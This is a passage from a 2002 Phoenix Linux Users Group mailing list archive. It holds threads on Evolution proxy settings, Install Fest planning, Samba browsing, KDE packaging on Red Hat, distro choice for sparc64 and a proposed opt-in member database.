or gconftool to tell the gnome-vfs about my proxy. Well, I removed nautilus because it uses way too many system resources (e.g. RAM) for my system, and I cannot find a gconftool on my machine, in RedHat, on the gnome site, or in a google search. I find references to it and all the nifty things it can do for a gnome desktop, but I cannot find the actual code. Does anyone know where I can find this really fabulous, and yet mysterious, tool? Thanks! Mark P.S. I guess I could install nautilus again, do the configuration, and then remove it, but something tells me the configuration changes will go away as well! ;) P.P.S. I also cannot download my email with Evolution, which I hope is due to this proxy setting in gnome-vfs. Any ideas would also be helpful for this problem! From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:32:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 23:32:29 -0400 (EDT) Subject: Install Fest II 06-27 Status In-Reply-To: Message-ID: As always, corrections and feedback are encouraged. Thanks Everyone! Install Fest II - 06-27 Status ----------------------------- News: Technomage is our first installer volunteer. He does Mandrake and RedHat in expert mode. Jonathon Claxton is our first demonstrator volunteer. Jonathon will be showing off the lighter side of Linux with some video games. Barring objection, I'm going to drop the member database decision as an Install Fest issue. It seems like it's beyond Install Fest's scope. Have tentatively confirmed 11 of the suggestions. These seem to be the most popular and/or the easiest to do. Have tentatively verified 8 unfilled volunteer positions. Suggestions: + More Install Stations + Press Releases on 31 July and 31 Aug + School (K-12) Oriented Press Release(s) + School (College) Oriented Press Release(s) + School (K-12,College) Direct Invitations + Mailing List Registration - Current Lists + May We Contact You? - Attendees + May We Contact You? - Install Customers + Demo Zone With Demonstrators + Presentations + PLUG Promotional Materials (PLUG Flyer) - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - Demo - Win/Lin Shootout / Corporate Usability - PLUG Promotional Materials (PLUG T-Shirt) - Homemade Cheesecake - 802.11 x Member Database (this project is independant of Install Fest) Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Installers: Technomage (pending location): RedHat, Mandrake Demonstrators: Jonathon Claxton: Video Games Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). - Demonstrators Be on hand day of show to demo Linux's mind-bending power. Please make sure that a computer with the proper gear will be on hand (bring your own may be the best call). - School Invitation Coordinator Arrange direct contact to as many valley schools as possible. Middle school through college may be the best bets. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - 802.11 Arrange use of appropriate wireless gear. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 04:48:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 27 Jun 2002 21:48:03 -0700 Subject: Questions about RH, Gnome, and Evolution In-Reply-To: <3D1B9ABC.316FCD18@phillipsmarketing.biz> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> <3D1B9ABC.316FCD18@phillipsmarketing.biz> Message-ID: <1025239684.22890.4.camel@bryceco1> On Mandrake 8.2 (latest) at least, there is an RPM for it as gconf-*. You could also re-install nautilus but then try taking away the executable bit. That's how I temporarily disable cron scripts. P.S. I'm writing this on Evolution 1.0.2 and obviously it works. E-mail me off-list for help with possible proxy problems. Now that's a tongue twister. Bryce C. Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net On Thu, 2002-06-27 at 16:07, Mark Phillips wrote: > I have RH 7.3 installed and Evolution version 1.0.3. Since I am behind a proxy/firewall, I need to setup the http proxy setting in gconf. The manual (yes, > I did read it) says I need to either use nautilus or gconftool to tell the gnome-vfs about my proxy. > > Well, I removed nautilus because it uses way too many system resources (e.g. RAM) for my system, and I cannot find a gconftool on my machine, in RedHat, on > the gnome site, or in a google search. I find references to it and all the nifty things it can do for a gnome desktop, but I cannot find the actual code. > > Does anyone know where I can find this really fabulous, and yet mysterious, tool? > > Thanks! > > Mark > > P.S. I guess I could install nautilus again, do the configuration, and then remove it, but something tells me the configuration changes will go away as > well! ;) > > P.P.S. I also cannot download my email with Evolution, which I hope is due to this proxy setting in gnome-vfs. Any ideas would also be helpful for this > problem! > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 05:29:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 22:29:36 -0700 Subject: Questions about RH, Gnome, and Evolution In-Reply-To: <1025239684.22890.4.camel@bryceco1> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> <3D1B9ABC.316FCD18@phillipsmarketing.biz> <1025239684.22890.4.camel@bryceco1> Message-ID: <1025242176.21204.2.camel@barney.azapple.com> On Thu, 2002-06-27 at 21:48, Bryce C wrote: > On Mandrake 8.2 (latest) at least, there is an RPM for it as gconf-*. > You could also re-install nautilus but then try taking away the > executable bit. That's how I temporarily disable cron scripts. > > P.S. I'm writing this on Evolution 1.0.2 and obviously it works. E-mail > me off-list for help with possible proxy problems. Now that's a tongue > twister. ---- pkgconfig-0.12.0-1 Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 06:26:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Thu, 27 Jun 2002 23:26:34 -0700 Subject: Windowed Games Message-ID: <200206272326.34988.krycom1@cox.net> Is there a way to hide the mouse pointer when playing games that are windowed. Some of the games you can not make full screen and if your pointer moves out of the window you lose control. I was wondering if there was some way around this? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 06:52:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Thu, 27 Jun 2002 23:52:09 -0700 (MST) Subject: Windowed Games In-Reply-To: <200206272326.34988.krycom1@cox.net> Message-ID: Have you tried changing the focus behavior in the Window Manager? I don't like my windows changing focus just beacuse I moved the mouse/pointer so I set focus to something like 'clicked' On Thu, 27 Jun 2002, Richard L. Proctor wrote: > > Is there a way to hide the mouse pointer when playing games that are windowed. > Some of the games you can not make full screen and if your pointer moves out > of the window you lose control. I was wondering if there was some way around > this? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 10:43:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 28 Jun 2002 03:43:44 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <200206271502.25609@granroth.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> <200206271502.25609@granroth.org> Message-ID: <1025261024.23103.0.camel@barney.azapple.com> On Thu, 2002-06-27 at 15:02, Kurt Granroth wrote: > On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > Would you settle for a product that is 70 to 80% complete? How about if > > they left off one tire on your car? Bernard's attitude is a horrible > > example of bad customer service. (If what you report is accurate.) > > To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). > RedHat gives him next to no support internally. > > Not that that excuses RedHat at all... > ----- >From this months archives on valhalla-list@redhat.com << What I'm pretty sure the statement from the KDE is based on is the fact that Red Hat takes the KDE code from them and then makes some changes which we feel are necessary. So, that makes it different from the code that the KDE guys ship and that's "not a good thing" in their opinion. As for the Red Hat employee that builds KDE packages in his spare time, that's not the case at all. Although building KDE packages isn't his only job function, it is one of them, so I definitely wouldn't call that "spare time." Thanks, jkt -- --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* Jay Turner, QA Manager jkt@redhat.com Red Hat, Inc. >> From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 11:15:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 28 Jun 2002 04:15:12 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Message-ID: <1025262912.23103.32.camel@barney.azapple.com> On Thu, 2002-06-27 at 13:58, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if they left off one tire on your car? Bernard's attitude is a horrible example of bad customer service. (If what you report is accurate.) > ---- Would I settle for a product that is 70 to 80% complete? I do every day all the time. That is the very nature of open source software. I also use cvs on projects and yes that is exactly what I am settling for. The only other option is a rollback to the last 'stable'. With every distro, someone has to make the decision on what to include...and when you have a project like KDE which progresses rapidly, the decision to use the last stable or a more recent checkout from cvs is strictly the person's call that is packaging it up. In RH 7.3 distro, the KDE release was a post-3.0.0 checkout used and it already incorporated a lot of what is 3.0.1...the figure of 70 to 80% wasn't mine but it was my hazy recollection of another's on the valhalla-list@redhat.com - which when I searched the archives, was actually 90% but that isn't material at all. No doubt some things have changed since it was packaged for 7.3. There is a more up to date version in rawhide - pretty typical of redhat to take the fast changing projects and put the updates in rawhide since rawhide represents the edge of development but not to be supported...only for testing. Obviously when the packages are installed by users such as you and I and we report back on our experiences, then they adjust as necessary. I wish your attitude didn't always reflect a chip on your shoulder. Bero's attitude has nothing to do with customer service. He's a software engineer doing his job. If you don't like the decisions that RedHat makes in packaging the binaries...then you can roll your own...download the source code to KDE 3.0.1 and install it yourself. My guess is that if you knew what you were doing, that you would want to use the cvs of KDE 3.1 and be settling for less than 70-80% at this moment but that's the beauty of open source...you can do that. But if you merely want to work with 'stable' releases, you can install the rpm-development package and you can create your own source rpm's, compile and install them just like any other rpm binary that you get from redhat and install it. I know that Bero felt that nothing of enough significance changed from the KDE 3.0.0 checkout that he used in RH 7.3 and the 'stable' KDE 3.0.1 to warrant an official errata update. If you Tom Achtenberg feel he is 'an example of horrible customer service', I would suggest that you send your appraisals to him... bero@redhat.de and spare us some of your uniformed outbursts. Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 14:33:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 28 Jun 2002 07:33:25 -0700 Subject: Samba Help?? In-Reply-To: <02062711473913.07972@nova.wedge.org> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> <02062711473913.07972@nova.wedge.org> Message-ID: <1025274805.28579.43.camel@hawk> I'm always up for a party . As soon as I get a free min I'll start planning one (course 1.5 will proably be out by then ). Btw my samba problem seems to have fixed itself. Carl P. On Thu, 2002-06-27 at 11:47, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too > late, Carl ::grin:: > > On Thursday 27 June 2002 11:13, you wrote: > > I let some Window users talk me into rebooting my Linux box to try to fix a > > problem now my Samba is fubared. I've restarted /usr/bin/smbd and > > /usr/bin/nmbd but now I can't see any of the window boxes on the network > > anyone have any ideas? > > > > > > Carl P. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRtdyysk3ywszI1FEQL9HQCgppybd32W54WcoXxuujTln+uQYZkAoOu6 > NO8W5AXnnLvebNqFIB23wcY1 > =d6FU > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 14:36:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 28 Jun 2002 07:36:08 -0700 Subject: Samba Help?? In-Reply-To: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> References: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> Message-ID: <1025274968.28580.46.camel@hawk> On Thu, 2002-06-27 at 13:08, Yicheng Li wrote: > > 3. Sometimes windows networks (especially large domains and workgroups) > take a long time to update and propogate. I've seen instances where it can > take several hours to update. Sometimes though, I've seen a machine that > just refuses to show up on the network without any explanation. In that > case, I've changed the Samba hostname (different than you Linux hostname) > and finally got it to work. > > Hope this helps. > this most have been the problem because I was running nmblookup on machines that weren't showing up then a few hours later (where I'm sure I didn't do anything significant) they showed up. Weird. Carl P. > > >--__--__-- > > > >Message: 2 > >From: Carl Parrish > >To: plug-discuss@lists.plug.phoenix.az.us > >Subject: Samba Help?? > >Date: Thu, 27 Jun 2002 14:13:54 -0400 > >Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > >I let some Window users talk me into rebooting my Linux box to try to fix a > problem >now my Samba is fubared. I've restarted /usr/bin/smbd and > /usr/bin/nmbd but now I >can't see any of the window boxes on the network > anyone have any ideas? > > > > > >Carl P. > > > > > >--__--__-- > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:25:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 28 Jun 2002 08:25:32 -0700 (PDT) Subject: eterm Message-ID: <20020628152532.51417.qmail@web10603.mail.yahoo.com> When I was at installfest, I had Kevin O install a terminal window program called Eterm for Mandrake 8.2. Is there one for RH 7.2? Is there a binary I can download? I don't even know where to begin.. I can use the standard one that came with my RH, but the one Kevin O installed looks cool.. ;-) Thanks in Advance. ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:45:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 08:45:22 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: <3D1BDF7D.5983F15D@georgetoft.com> References: <007801c21e52$0ce15240$2f7c0d82@peyote> <3D1BDF7D.5983F15D@georgetoft.com> Message-ID: <200206280845.22545.zen2now@qwest.net> WoW!!! thats impressive that they even wrote you back. KUDO's to SuSE for that one, well i am becoming very fond of the little lizard. so much so that i want to run it @home. :~D slr On Thursday 27 June 2002 09:01 pm, George Toft wrote: > slr wrote: > [snip] > > > ok, i will use YaST like a good lizard. :~D > > > > looking at the choices i had, SuSE was the only Distro i could find that > > had a newer kernel written for the sparc64. all the others lagged behind! > > so after spending time with it at work, i am thinking about nuking RH7.1 > > and installing the new SuSE on my workstation @home. > > > > Should i X RH? > > I fond SuSE is a much more responsive company than Red Hat, so I would, > but it is up to you. > > I say they are more responsive as I suggested they add mplayer to their > distro, and about a month later, I got a note from them saying they > would. > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Fri, 28 Jun 2002 08:53:36 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <3D1AAF95.90809@cox.net> References: <3D1A90F6.B045D1DB@qwest.net> <200206262236.18276.krycom1@cox.net> <3D1AAF95.90809@cox.net> Message-ID: <20020628085336.3428cb5c.dickson@permanentmail.com> On Wed, 26 Jun 2002 23:24:21 -0700, Bob Cober wrote: > I paid $179 for RH 7.3 Pro (well, the company did), and am very happy > with it. It comes with 3 OS cds, 1 doc, 2 source, and 3 app cds. It > also includes a bootable cdrom business card called the "Survival cd". The BBC (Bootable Business Card) is available for downloading at: ftp://ftp.redhat.de/pub/rh-addons/rescue-cd/ At 30MB, the .iso is downloadable even on a dialup connection. -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:59:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 08:59:10 -0700 Subject: eterm In-Reply-To: <20020628152532.51417.qmail@web10603.mail.yahoo.com> References: <20020628152532.51417.qmail@web10603.mail.yahoo.com> Message-ID: <1025279950.28130.18.camel@bryceco1> On my Mandrake 8.2, it's under the eterm RPM. Just find it and install it. Alternatively, you could use MandrakeUpdate to search through the uninstalled packages and install it that way. On Fri, 2002-06-28 at 08:25, Alpha Zenon Sanchez wrote: > When I was at installfest, I had Kevin O install a > terminal window program called Eterm for Mandrake 8.2. > > Is there one for RH 7.2? Is there a binary I can > download? I don't even know where to begin.. > > I can use the standard one that came with my RH, but > the one Kevin O installed looks cool.. ;-) > > Thanks in Advance. > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:02:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Fri, 28 Jun 2002 09:02:59 -0700 Subject: Install fest interest generation In-Reply-To: <006001c21e51$6c12c970$0301010a@tickticker.com> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <02062715413316.07972@nova.wedge.org> <006001c21e51$6c12c970$0301010a@tickticker.com> Message-ID: <200206280902.59893@granroth.org> On Thursday 27 June 2002 08:10 pm, tickticker wrote: > I'm from the Detroit area and we just referred to them as snowbound > except for the month of pleasant (for mich) weather. Well, like we always said, the four seasons in da UP are: 1. Early Winter 2. Mid Winter 3. Late Winter 4. Next Winter -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:17:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 09:17:26 -0700 Subject: Membership database In-Reply-To: References: <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: <5.1.0.14.0.20020628091621.02472280@localhost> Yeeeaaahhh! Someone that understands what I mean. I want to market what I have and I want to see others that market their stuff. Period. No forcing, no opting out, just plain wanting in and for a reason. Kimi Adams At 6/27/02, you wrote: >Am 27. Jun, 2002 schwätzte Dr.G so: > > > I'm afraid I didn't sign up to this list to have my email put into a DB > with > > a list of skills/references on me so that someone can go in there and just > > send me email whenever they have a problem. I thought that was what > PLUG was > >I don't think that's what anyone was proposing. I hope it wasn't. > >I try to get people to mail the list rather than going to me directly. > >Admittedly I sometimes go directly to a few people because I know they're >working on the project in question or I specifically want their opinion. > >What was proposed was to email the people on the list and ask them to sign >up. That's SPAM and I, personally, am very much against that. Announcing it >as a new project on the appropriate lists is fine. That will get better >reception, so that's the way to go anyway. > >The db thing should be totally an opt-in thing, e.g. you initiate your entry >and you maintain it. I think that's what's been proposed. > > > If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > > just as annoyng as MSN/hotmail signing you up for thier spam, not telling > > you, and then saying "Oh, well, its OPT-Out..." > >Opt-out should be illegal. At the international level. Period. Actually, at >the intergalactic level! > >ciao, > >der.hans >-- ># https://www.LuftHans.com/ ># When I work, I work hard. When I play, I play hard. ># When I sit, I sleep. - Embe Kugler > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:14:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 09:14:48 -0700 Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> Message-ID: <5.1.0.14.0.20020628085153.0246a0e0@localhost> Beginning of Kimi's rant...... I am busy 12 hours a day. I have many tasks that pop up here and there and many contacts. If I did not want to be part of this listing, for the exact reasons you mentioned of being able to ask questions and get answers, then I wouldn't be here. No one has stated at this point that you *have* to be part of a database. My business is making money doing services and selling products that are run by and used on Debian. My business is to know what I do and where my company is going. However, I don't know everything and as much as people wish to think this, I don't know that much outside of running by business with Linux. PLUG and AZOTO have both talked about projects and most people do them so that they can *market* their skills. How is creating a database of those same people creating so much flak on this list? That's what I want to find. A database of skills that will help me help all of you. If someone walks in my door with a need, I want to fulfill it, even if I am not paid. That's the structure of our business and how come we are still here even though many ISP's are out of business or failing. End of Kimi's rant....... At 6/27/02, you wrote: >I'm afraid I didn't sign up to this list to have my email put into a DB with >a list of skills/references on me so that someone can go in there and just >send me email whenever they have a problem. I thought that was what PLUG was >for, to discuss the problem and get multiple points of view and figure out >the best tool for the job. > >It's funny how a LOT of people complain about being on someone's SPAM list >and when they get told "You can just delete it" they get VERY upset. "I >didn't want to be on it in the FIRST place!" Your proposing to do that to >everyone who hates SPAM. > >You talk about not wanting to have to go through all the emails PLUG >generates to find the answers to your issues. *I* do not want to have to go >thought all the PLUG emails AND everyones PERSONAL emails to me to find the >answers I need. I get enough e-mail as it is, I do not need to wade through >more. If someone sees I posted a response to answer a question and they wish >to follow up with me privately, thats fine. But I don't want emails just >coming out of the blue like crazy (NOT that I am saying you will. I am a >newbie afterall, I'm just stating a view point :) The opposite applies. If >someone whishes to give me an answer privately, that is also obviously ok. > >If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is >just as annoyng as MSN/hotmail signing you up for thier spam, not telling >you, and then saying "Oh, well, its OPT-Out..." > >----- Original Message ----- >From: "Kimi A. Adams" >To: >Sent: Thursday, June 27, 2002 5:42 PM >Subject: Re: Membership database > > > > The purpose of any website or database that is accessible from outside is > > to get to information. Just like Google and other search engines, it's a > > database that you would search for what you need from people who > > register. Hans stated there is something being worked on for the > > website. I have stated I have something available that can be tweaked to > > preferences. > > > > However you send information about the database is fine by me. SPAM or > > not, if you don't want to read it, delete it. We can promote it on the > > website and on the lists, including the announce list. > > > > I won't go into whether processing time, display time, hard drive space, > > etc. would be available or would take up too much of these resources. The > > point is that I am wanting more to find the information that I am looking > > for instead of having to email the listing and searching through the email > > responses to get what I want or need at the time. > > > > I know there are sites out there where I can search for things that I may > > need or want at any given time, but PLUG people are who I turn to. I want > > to know that if I am looking for this one part or this one service or > > someone who can wave this wand, that I can find it in my own time, rather > > than having to drag myself through lot's of emails and calls that get me > > off track from the "thing" I most want. > > > > Just kinda why I brought this up and how I would like to see things > > improved upon. > > > > Kimi Adams > > Unity Wave > > > > At 6/27/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >My thoughts on a member database. > > > > > >I think it is a great idea. As of right now, we have little information > > >about who is subscribed to any of the mailing lists, other than their >mail > > >address. Some people might consider that a "good thing". > > > > > >Any membership information should be gathered voluntarily. We should not > > >require anyone to add information to the database. We should warn them >that > > >we will collect at least the email address that they are using to >subscribe > > >to a list for the membership database. We do, after all, consider anyone > > >subscribed to any of our mail lists as a PLUG member (makes our numbers >look > > >really great). > > > > > >I bet we could get Brian to capture a snapshot of the current >subscribers' > > >email addresses from Mailman. We could them mass-email all subscribers > > >pointing them to a yet-to-be built web page with a form to fill out as >much > > >or as little information as they want in the database. I bet we could >even > > >set up a mechanism to send new subscribers to get sent there >automatically. > > >Probably should set up a way to delete data when someone unsubscribes. >This > > >is tougher because a person may be subscribed to all the lists but only >be > > >unsubscribing from one or two. > > > > > >As far a web space for members, how much space do we have available that >we > > >can use for members' pages? It is one thing to search the database and > > >display data about one member, but it will take a lot more space if we >set > > >aside even 1M of space for every member. It will take some resources for >the > > >database web page that collects the data and for the database and for the > > >scripts that need to be written. It will take more space to search and > > >display routines based on criteria input (sounds like a job for our PhP > > >gurus). > > > > > >All in all, I consider this a great project. It would be even greater if >we > > >release all the tools after it is done. I am almost surprised that >another > > >UG has not done something like this already. So what do we need in terms >of > > >hardware, software, and manpower? Who is gonna organize it? How many >members > > >would be interested in participating? > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > > >qR5NkSwamOTOgLRJ+rIAeJDg > > >=XeNW > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:13:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 28 Jun 2002 09:13:48 -0700 (PDT) Subject: Samba Help?? In-Reply-To: <1025274805.28579.43.camel@hawk> Message-ID: On 28 Jun 2002, Carl Parrish wrote: > Btw my samba problem seems to have fixed itself. This may have been because it can take quite a while for SMB requests to fully propogate throughout the network. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:31:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 11:31:22 -0400 (EDT) Subject: Cringely on Palladium Message-ID: http://www.pbs.org/cringely/pulpit/pulpit20020627.html ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:32:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 11:32:09 -0500 (CDT) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206280845.22545.zen2now@qwest.net> Message-ID: > > > ok, i will use YaST like a good lizard. :~D Good Lizards dont use non free software. ;) > > > looking at the choices i had, SuSE was the only Distro i could find that > > > had a newer kernel written for the sparc64. all the others lagged behind! > > > so after spending time with it at work, i am thinking about nuking RH7.1 > > > and installing the new SuSE on my workstation @home. I guess Debian isn't a distro? http://www.debian.org/releases/unstable/sparc/install or 2.4 isnt a new kernel? http://mirror.mcs.anl.gov/debian/pool/main/k/kernel-image-sparc-2.4/ > > I fond SuSE is a much more responsive company than Red Hat, so I would, > > but it is up to you. > > > > I say they are more responsive as I suggested they add mplayer to their > > distro, and about a month later, I got a note from them saying they > > would. I am not sure what makes you think Red Hat is not responsive? Believe me I have no love for Red Hat the distribution, but in writing free software, often times complex C debugging questions have been answered directly by Owen Taylor or Havoc Pennington for directly in IRC or via email with almost no latency. To me this is MUCH more valuable communication (ability to talk to developers not sales drones). Further more David Mason the RHAD 